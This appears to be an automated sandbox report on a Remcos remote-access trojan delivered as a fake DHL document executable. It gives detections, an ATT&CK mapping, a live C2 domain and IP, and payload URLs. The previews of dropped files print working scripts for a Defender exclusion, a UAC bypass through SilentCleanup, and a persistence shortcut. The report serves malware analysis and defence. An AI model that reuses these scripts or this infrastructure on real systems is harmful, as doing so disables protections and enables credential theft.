Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoA,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 5_2_0042F2AB cpuid

Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 5_2_004410D3 GetSystemTimeAsFileTime,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_0044190C _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 5_2_004166F6 GetComputerNameExW,GetUserNameW,

Stealing of Sensitive Information:

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.938674908.0000000002EA7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827146573.0000000003178000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.939914286.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827407780.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.851109980.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850918949.0000000003327000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 1368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: secinit.exe PID: 6644, type: MEMORYSTR

Contains functionality to steal Firefox passwords or cookies

Show sources

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: \key3.db

Contains functionality to steal Chrome passwords or cookies

Show sources

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality:

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.938674908.0000000002EA7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827146573.0000000003178000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.939914286.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827407780.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.851109980.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850918949.0000000003327000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 1368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: secinit.exe PID: 6644, type: MEMORYSTR

Detected Remcos RAT

Show sources

Source: mobsync.exe	String found in binary or memory: Remcos_Mutex_Inj
Source: mobsync.exe, 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: fso.DeleteFolder "\update.vbsCreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)Unknown exceptionbad castbad locale name: genericiostreamiostream stream errorios_base::badbit setios_base::failbit setios_base::eofbit setlicence_code.txtSoftware\WDRemcos_Mutex_InjInjProductName (64 bit) (32 bit)licenceUserAccess level: AdministratorGetModuleFileNameExAPsapi.dllKernel32.dllGetModuleFileNameExWNtUnmapViewOfSectionntdll.dllGlobalMemoryStatusExkernel32.dllIsWow64Processkernel32GetComputerNameExWIsUserAnAdminShell32SetProcessDEPPolicyEnumDisplayDevicesWuser32EnumDisplayMonitorsGetMonitorInfoWShlwapi.dll1Program Files\Program Files (x86)\SETTINGSoverridepth_unenc3.1.5 Prov\|
Source: mobsync.exe	String found in binary or memory: Remcos_Mutex_Inj
Source: mobsync.exe, 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: fso.DeleteFolder "\update.vbsCreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)Unknown exceptionbad castbad locale name: genericiostreamiostream stream errorios_base::badbit setios_base::failbit setios_base::eofbit setlicence_code.txtSoftware\WDRemcos_Mutex_InjInjProductName (64 bit) (32 bit)licenceUserAccess level: AdministratorGetModuleFileNameExAPsapi.dllKernel32.dllGetModuleFileNameExWNtUnmapViewOfSectionntdll.dllGlobalMemoryStatusExkernel32.dllIsWow64Processkernel32GetComputerNameExWIsUserAnAdminShell32SetProcessDEPPolicyEnumDisplayDevicesWuser32EnumDisplayMonitorsGetMonitorInfoWShlwapi.dll1Program Files\Program Files (x86)\SETTINGSoverridepth_unenc3.1.5 Prov\|
Source: secinit.exe, 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: Remcos_Mutex_Inj
Source: secinit.exe, 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: fso.DeleteFolder "\update.vbsCreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)Unknown exceptionbad castbad locale name: genericiostreamiostream stream errorios_base::badbit setios_base::failbit setios_base::eofbit setlicence_code.txtSoftware\WDRemcos_Mutex_InjInjProductName (64 bit) (32 bit)licenceUserAccess level: AdministratorGetModuleFileNameExAPsapi.dllKernel32.dllGetModuleFileNameExWNtUnmapViewOfSectionntdll.dllGlobalMemoryStatusExkernel32.dllIsWow64Processkernel32GetComputerNameExWIsUserAnAdminShell32SetProcessDEPPolicyEnumDisplayDevicesWuser32EnumDisplayMonitorsGetMonitorInfoWShlwapi.dll1Program Files\Program Files (x86)\SETTINGSoverridepth_unenc3.1.5 Prov\|

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: cmd.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Native API1	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Scripting1	Input Capture11	Account Discovery1	Remote Desktop Protocol	Input Capture11	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Process Injection322	Obfuscated Files or Information2	Credentials In Files2	File and Directory Discovery2	SMB/Windows Admin Shares	Clipboard Data2	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder1	Masquerading11	NTDS	System Information Discovery33	Distributed Component Object Model	Input Capture	Scheduled Transfer	Remote Access Software1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Modify Registry1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion21	Cached Domain Credentials	Security Software Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol21	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Access Token Manipulation1	DCSync	Virtualization/Sandbox Evasion21	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection322	Proc Filesystem	Process Discovery2	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	26%	Virustotal		Browse
ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	24%	ReversingLabs	Win32.Backdoor.Remcos

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	24%	ReversingLabs	Win32.Backdoor.Remcos

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.Iqzenco.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.1.Iqzenco.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.mobsync.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141389	Download File
0.1.ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.mobsync.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141389	Download File
26.2.secinit.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141389	Download File
16.0.Iqzenco.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.1.Iqzenco.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
ongod4ever.ddns.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ongod4ever.ddns.net	185.140.53.15	true	false	high
onedrive.live.com	unknown	unknown	false	high
bl30uw.sn.files.1drv.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
ongod4ever.ddns.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://bl30uw.sn.files.1drv.com/y4maOmpRLgEZgKpnLv-hczrMb96VqtMQDZd-m0g51QRpK-v8c65WYNUi2NOLDdGNQiU	Iqzenco.exe, 00000010.00000003.752060770.00000000007A3000.00000004.00000001.sdmp	false	high
https://bl30uw.sn.files.1drv.com/y4msI7_EyjC8cs97rdyt7ReCTl2WoedGiqx9hVOiugfpodFj4cXgoX5lAQfrGe41zrt	Iqzenco.exe, 00000010.00000003.750846747.00000000007A3000.00000004.00000001.sdmp	false	high
https://onedrive.live.com/download?cid=97429F42E815B766&resid=97429F42E815B766%21166&authkey=AFRFbbm	Iqzenco.exe, 00000010.00000003.752060770.00000000007A3000.00000004.00000001.sdmp	false	high
https://bl30uw.sn.files.1drv.com/y4mGst0byrg6Ub0CK8iKHaximJI4M7D1uUmqxfl02ZpIfKXbkyeYXQLL6P2J6UxS4Yz	Iqzenco.exe, 00000010.00000003.750864485.00000000007B1000.00000004.00000001.sdmp	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.140.53.15	ongod4ever.ddns.net	Sweden		209623	DAVID_CRAIGGG	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491719
Start date:	27.09.2021
Start time:	20:38:59
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 28s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/10@49/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 44.2% (good quality ratio 42.2%) Quality average: 83.9% Quality standard deviation: 25.5%
HCA Information:	Successful, ratio: 97% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 20.82.210.154, 2.20.86.117, 13.107.43.13, 13.107.42.12, 20.82.209.183, 209.197.3.8, 13.107.42.13, 20.54.110.249, 40.112.88.60, 23.10.249.43, 23.10.249.26, 20.50.102.62 Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, l-0004.dc-msedge.net, l-0004.l-msedge.net, e12564.dspb.akamaiedge.net, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net, l-0003.l-msedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, odc-web-geo.onedrive.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, odc-sn-files-geo.onedrive.akadns.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, odc-sn-files-brs.onedrive.akadns.net, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:39:58	API Interceptor	2x Sleep call for process: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe modified
20:40:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Iqzenco C:\Users\Public\Libraries\ocnezqI.url
20:40:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Iqzenco C:\Users\Public\Libraries\ocnezqI.url
20:40:34	API Interceptor	2x Sleep call for process: Iqzenco.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\Public\KDECO.bat Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	155
Entropy (8bit):	4.687076340713226
Encrypted:	false
SSDEEP:	3:LjT5LJJFIf9oM3KN6QNb3DM9bWQqA5SkrF2VCceGAFddGeWLCXlRA3+OR:rz81R3KnMMQ75ieGgdEYlRA/R
MD5:	213C60ADF1C9EF88DC3C9B2D579959D2
SHA1:	E4D2AD7B22B1A8B5B1F7A702B303C7364B0EE021
SHA-256:	37C59C8398279916CFCE45F8C5E3431058248F5E3BEF4D9F5C0F44A7D564F82E
SHA-512:	FE897D9CAA306B0E761B2FD61BB5DC32A53BFAAD1CE767C6860AF4E3AD59C8F3257228A6E1072DAB0F990CB51C59C648084BA419AC6BC5C0A99BDFFA569217B7
Malicious:	false
Reputation:	unknown
Preview:	start /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" & exit

C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1009152
Entropy (8bit):	6.9988393829759294
Encrypted:	false
SSDEEP:	24576:L5A8SqIkJpbDpQc6ScVHdPaHxA7VhLRYF:Lr5ZoHdPaRyzKF
MD5:	3808D4A11CBEE20896CCA28F9A3BCB9B
SHA1:	B3A533D6E00ACE2EC0612C9AF66C6DD69C5180B3
SHA-256:	53C2E53D33F80E88B16CCE06621F99680E0E5F387315CB81AF97CEE58080165A
SHA-512:	980425EFD3D01A3C5ADBBD3873D819AF60C1E62A9B32149B01F1C1E6DE338D068B53C18AD4645C66E8C13DB8F21440F2E0C01B27E3B1E4AF55D19474EC83A5FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^..................j...........z............@..............................................@...............................(......./...................@..0r...........0...............0..........................X....................................].......^.................. ..`........P....p.......b.............. ..`.........&.......(...n..............@............8.......................................(.........................@...........4.... ..................................0....0......................@..@........0r...@...t..................@..B........./.......0...6..............@..@.............0......................@..@................................................................................................

C:\Users\Public\Libraries\ocnezqI.url Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Iqzenco\\Iqzenco.exe">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.740775825389126
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMfiyGAywSsGKd6ov:HRYFVmTWDyzFlsbDv
MD5:	5E9FED8C24BB01153751DF696536E82A
SHA1:	D23E4B05254E62153D6F0158F4F869AB00C5DF15
SHA-256:	08BC6F401999D30F1EB81AD3C9CB0EB01063CF858C9818F238ED233833947AE8
SHA-512:	4920341592295B38653FD6DD227F99625A1E62C3E1E9CE014F506C724319528A6E45829C21B62A5674FF47BB3BD1B62FD2DB9A24583208DC7659E4B88A8BB7FD
Malicious:	false
Yara Hits:	Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\ocnezqI.url, Author: @itsreallynick (Nick Carr)
Reputation:	unknown
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Iqzenco\\Iqzenco.exe"..IconIndex=2..

C:\Users\Public\Trast.bat Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	34
Entropy (8bit):	4.314972767530033
Encrypted:	false
SSDEEP:	3:LjTnaHF5wlM:rnaHSM
MD5:	4068C9F69FCD8A171C67F81D4A952A54
SHA1:	4D2536A8C28CDCC17465E20D6693FB9E8E713B36
SHA-256:	24222300C78180B50ED1F8361BA63CB27316EC994C1C9079708A51B4A1A9D810
SHA-512:	A64F9319ACC51FFFD0491C74DCD9C9084C2783B82F95727E4BFE387A8528C6DCF68F11418E88F1E133D115DAF907549C86DD7AD866B2A7938ADD5225FBB2811D
Malicious:	false
Reputation:	unknown
Preview:	start /min C:\Users\Public\UKO.bat

C:\Users\Public\UKO.bat Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.865356627324657
Encrypted:	false
SSDEEP:	6:rgnMXd1CQnMXd1COm8hnaHNHIXUnMXd1CoD9c1uOw1H1gOvOBAn:rgamIHIXUaXe1uOeVqy
MD5:	EAF8D967454C3BBDDBF2E05A421411F8
SHA1:	6170880409B24DE75C2DC3D56A506FBFF7F6622C
SHA-256:	F35F2658455A2E40F151549A7D6465A836C33FA9109E67623916F889849EAC56
SHA-512:	FE5BE5C673E99F70C93019D01ABB0A29DD2ECF25B2D895190FF551F020C28E7D8F99F65007F440F0F76C5BCAC343B2A179A94D190C938EA3B9E1197890A412E9
Malicious:	false
Reputation:	unknown
Preview:	reg delete hkcu\Environment /v windir /f..reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "..schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I & exit..

C:\Users\Public\nest Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:1xn:Hn
MD5:	4D2B6925406544EEF7111380E2243791
SHA1:	A32A8FA6F2E46D8E86FA92BEA3B8D45EB168BD04
SHA-256:	09A841DC20255A929B3CCFA47B08B8E47ADD965FF3070E8DAB1DBD050D73E97F
SHA-512:	EFDD6C90C7EAA5D05FDD079A61B969837B350CB20AECC7CF24533636956A939B8A289B2C3BB4A7AC21BBACF818E394A13D8661427EACFC0F21C46D5855DFFEDF
Malicious:	false
Reputation:	unknown
Preview:	Iqzenco..

C:\Users\Public\nest.bat Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.263285494083192
Encrypted:	false
SSDEEP:	3:LjT9fnMXdemzCK0vn:rZnMXd1CV
MD5:	8ADA51400B7915DE2124BAAF75E3414C
SHA1:	1A7B9DB12184AB7FD7FCE1C383F9670A00ADB081
SHA-256:	45AA3957C29865260A78F03EEF18AE9AEBDBF7BEA751ECC88BE4A799F2BB46C7
SHA-512:	9AFC138157A4565294CA49942579CDB6F5D8084E56F9354738DE62B585F4C0FA3E7F2CBC9541827F2084E3FF36C46EED29B46F5DD2444062FFCD05C599992E68
Malicious:	false
Reputation:	unknown
Preview:	start /min reg delete hkcu\Environment /v windir /f..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\Iqzencolmjnhoxprppdkgkfyidrxfas[1] Download File
Process:	C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe
File Type:	data
Category:	dropped
Size (bytes):	873984
Entropy (8bit):	7.9969159829391385
Encrypted:	true
SSDEEP:	24576:WkRi6BScPafSfJKPyZ/Sba3koow5ba33m6YwEcds:WobBLafgJKPyZ/MpoaW6YP
MD5:	6CFF8FAF4A45291638E775B0EB1DF24D
SHA1:	472E6F7B86A62F191AD8A231CE58F356A046A2F7
SHA-256:	195306105A3F635EA75E8D8E02987BB106B62C75AA1A6F4914A287E8DB424631
SHA-512:	F23B002AC8D7060D065B7DAFA6AD39C07ED5AD5CE20394B88CCB65B7EBD74EA31EBC4710F853FF6DAA2926CC747AF797FBE3E8E01A79DDDD169E7AB9E9978308
Malicious:	false
Reputation:	unknown
Preview:	.....6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]%......(& ...P...sZ.G..W#..v..FN.}r...kG.....c2>.......K.(& &!.)....7..6G..U..9.v..FN.}r...l.)....n.7..N.}r...oP..oP......2>X...X.u.;.....:.\|..y1.-..n....6.X..OWOT...'.v....G..<.cgn.R.X........u.8..>5..{....wT.I....#......{..........).H t...wT.I....#......{..........&N.n..+..u.U"OT..t..X.....X....u.8..>5..{....wT.I....#......{..........\|+m.z..h4.?9+Q........Nk....^U...y..I.u.....o...!{.M..dK.$....s.5;....m.Y..mr.."....y...\.y..>.....F.;..k..a.......%~.....i.s.q.n!g.....+Ne..[.~...y..Ra.C..9<..q....J.v.......u.#a.Vp770./PdXs.......{.P`L..=8..{...]......96... .~...9 ..v..`Q...Zl/V\|....'.r3;.u.>..1U..bU..j.V}..154...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\Iqzencolmjnhoxprppdkgkfyidrxfas[1] Download File
Process:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	873984
Entropy (8bit):	7.9969159829391385
Encrypted:	true
SSDEEP:	24576:WkRi6BScPafSfJKPyZ/Sba3koow5ba33m6YwEcds:WobBLafgJKPyZ/MpoaW6YP
MD5:	6CFF8FAF4A45291638E775B0EB1DF24D
SHA1:	472E6F7B86A62F191AD8A231CE58F356A046A2F7
SHA-256:	195306105A3F635EA75E8D8E02987BB106B62C75AA1A6F4914A287E8DB424631
